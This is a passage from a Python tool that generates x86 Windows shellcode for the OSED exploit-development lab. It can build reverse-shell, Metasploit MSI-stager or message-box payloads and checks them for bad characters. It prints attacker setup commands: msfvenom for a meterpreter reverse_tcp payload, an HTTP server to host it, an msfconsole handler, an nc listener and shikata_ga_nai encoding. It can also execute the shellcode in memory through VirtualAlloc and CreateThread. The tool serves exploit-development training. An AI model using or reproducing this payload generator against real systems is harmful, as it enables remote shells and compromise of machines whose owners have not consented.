null byte on the stack 503 | push_instr_text, # Push the text 504 | " mov ecx, esp ;", # Store the pointer to the window text in ecx 505 | " xor eax, eax ;", # Null EAX 506 | " push eax ;", # Create a null byte on the stack for uType=0x00000000 507 | " push ebx ;", # Put a pointer to the window header on the stack 508 | " push ecx ;", # Put a pointer to the window text on the stack 509 | " push eax ;", # Create a null byte on the stack for hWnd=0x00000000 510 | " call dword ptr [ebp+0x18] ;", # Call MessageBoxA (https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messageboxa) 511 | " exec_shellcode: ", 512 | " xor ecx, ecx ;", # Null ECX 513 | " push ecx ;", # uExitCode 514 | " push 0xffffffff ;", # hProcess 515 | " call dword ptr [ebp+0x10] ;", # Call TerminateProcess 516 | ] 517 | return "\n".join(asm) 518 | 519 | 520 | def main(args): 521 | help_msg = "" 522 | if (args.msi): 523 | shellcode = msi_shellcode(args.lhost, args.lport, args.debug_break) 524 | help_msg += f"\t Create msi payload:\n" 525 | help_msg += f"\t\t msfvenom -p windows/meterpreter/reverse_tcp LHOST={args.lhost} LPORT=443 -f msi -o X\n" 526 | help_msg += f"\t Start http server (hosting the msi file):\n" 527 | help_msg += f"\t\t sudo python -m SimpleHTTPServer {args.lport} \n" 528 | help_msg += f"\t Start the metasploit listener:\n" 529 | help_msg += f'\t\t sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST {args.lhost}; set LPORT 443; exploit"' 530 | elif (args.messagebox): 531 | shellcode = msg_box(args.mb_header, args.mb_text, args.debug_break) 532 | else: 533 | shellcode = rev_shellcode(args.lhost, args.lport, args.debug_break) 534 | help_msg += f"\t Start listener:\n" 535 | help_msg += f"\t\t nc -lnvp {args.lport}" 536 | 537 | print(shellcode) 538 | eng = ks.Ks(ks.KS_ARCH_X86, ks.KS_MODE_32) 539 | encoding, count = eng.asm(shellcode) 540 | 541 | final = "" 542 | 543 | final += 'shellcode = b"' 544 | 545 | for enc in encoding: 546 | final += "\\x{0:02x}".format(enc) 547 | 548 | final += '"' 549 | 550 | sentry = False 551 | 552 | for bad in args.bad_chars: 553 | if bad in final: 554 | print(f"[!] Found 0x{bad}") 555 | sentry = True 556 | 557 | if sentry: 558 | print(f"[=] {final}", file=sys.stderr) 559 | raise SystemExit("[!] Remove bad characters and try again") 560 | 561 | print(f"[+] shellcode created!") 562 | print(f"[=] len: {len(encoding)} bytes") 563 | print(f"[=] lhost: {args.lhost}") 564 | print(f"[=] lport: {args.lport}") 565 | print( 566 | f"[=] break: {['breakpoint disabled', 'breakpoint active'][args.debug_break]}" 567 | ) 568 | print(f"[=] ver: {['pure reverse sehll', 'MSI stager'][args.msi]}") 569 | if args.store_shellcode: 570 | print(f"[=] Shellcode stored in: shellcode.bin") 571 | f = open("shellcode.bin", "wb") 572 | f.write(bytearray(encoding)) 573 | f.close() 574 | print(f"[=] help:") 575 | print(help_msg) 576 | print("\t Remove bad chars with msfvenom (use --store-shellcode flag): ") 577 | print( 578 | '\t\t cat shellcode.bin | msfvenom --platform windows -a x86 -e x86/shikata_ga_nai -b "\\x00\\x0a\\x0d\\x25\\x26\\x2b\\x3d" -f python -v shellcode' 579 | ) 580 | print() 581 | print(final) 582 | 583 | if args.test_shellcode and (struct.calcsize("P")*8) == 32: 584 | print(f"\n[+] Debugging shellcode ...") 585 | sh = b"" 586 | for e in encoding: 587 | sh += struct.pack("B", e) 588 | 589 | packed_shellcode = bytearray(sh) 590 | ptr = ctypes.windll.kernel32.VirtualAlloc( 591 | ctypes.c_int(0), 592 | ctypes.c_int(len(packed_shellcode)), 593 | ctypes.c_int(0x3000), 594 | ctypes.c_int(0x40), 595 | ) 596 | buf = (ctypes.c_char * len(packed_shellcode)).from_buffer(packed_shellcode) 597 | ctypes.windll.kernel32.RtlMoveMemory( 598 | ctypes.c_int(ptr), buf, ctypes.c_int(len(packed_shellcode)) 599 | ) 600 | print("[=] Shellcode located at address %s" % hex(ptr)) 601 | input("...ENTER TO EXECUTE SHELLCODE...") 602 | ht = ctypes.windll.kernel32.CreateThread( 603 | ctypes.c_int(0), 604 | ctypes.c_int(0), 605 | ctypes.c_int(ptr), 606 | ctypes.c_int(0), 607 | ctypes.c_int(0), 608 | ctypes.pointer(ctypes.c_int(0)), 609 | ) 610 | ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1)) 611 | 612 | 613 | if __name__ == "__main__": 614 | parser = argparse.ArgumentParser( 615 | description="Creates shellcodes compatible with the OSED lab VM" 616 | ) 617 | 618 | parser.add_argument( 619 | "-l", 620 | "--lhost", 621 | help="listening attacker system (default: 127.0.0.1)", 622 | default="127.0.0.1", 623 | ) 624 | parser.add_argument( 625 | "-p", 626 | "--lport", 627 | help="listening port of the attacker system (default: 4444)", 628 | default="4444", 629 | ) 630 | parser.add_argument( 631 | "-b", 632 | "--bad-chars", 633 | help="space separated list of bad chars to check for in final egghunter (default: 00)", 634 | default=["00"], 635 | nargs="+", 636 | ) 637 | parser.add_argument( 638 | "-m", "--msi", help="use an msf msi exploit stager (short)", action="store_true" 639 | ) 640 | parser.add_argument( 641 | "--messagebox", help="create a message box payload", action="store_true" 642 | ) 643 | parser.add_argument( 644 | "--mb-header", help="message box header text" 645 | ) 646 | parser.add_argument( 647 | "--mb-text", help="message box text" 648 | ) 649 | parser.add_argument( 650 | "-d", 651 | "--debug-break", 652 | help="add a software breakpoint as the first shellcode instruction", 653 | action="store_true", 654 | ) 655 | parser.add_argument( 656 | "-t", 657 | "--test-shellcode", 658 | help="test the shellcode on the system", 659 | action="store_true", 660 | ) 661 | parser.add_argument( 662 | "-s", 663 | "--store-shellcode", 664 | help="store the shellcode in binary format in the file shellcode.bin", 665 | action="store_true", 666 | ) 667 | 668 | args = parser.parse_args() 669 | 670 | main(args) 671 | --------------------------------------------------------------------------------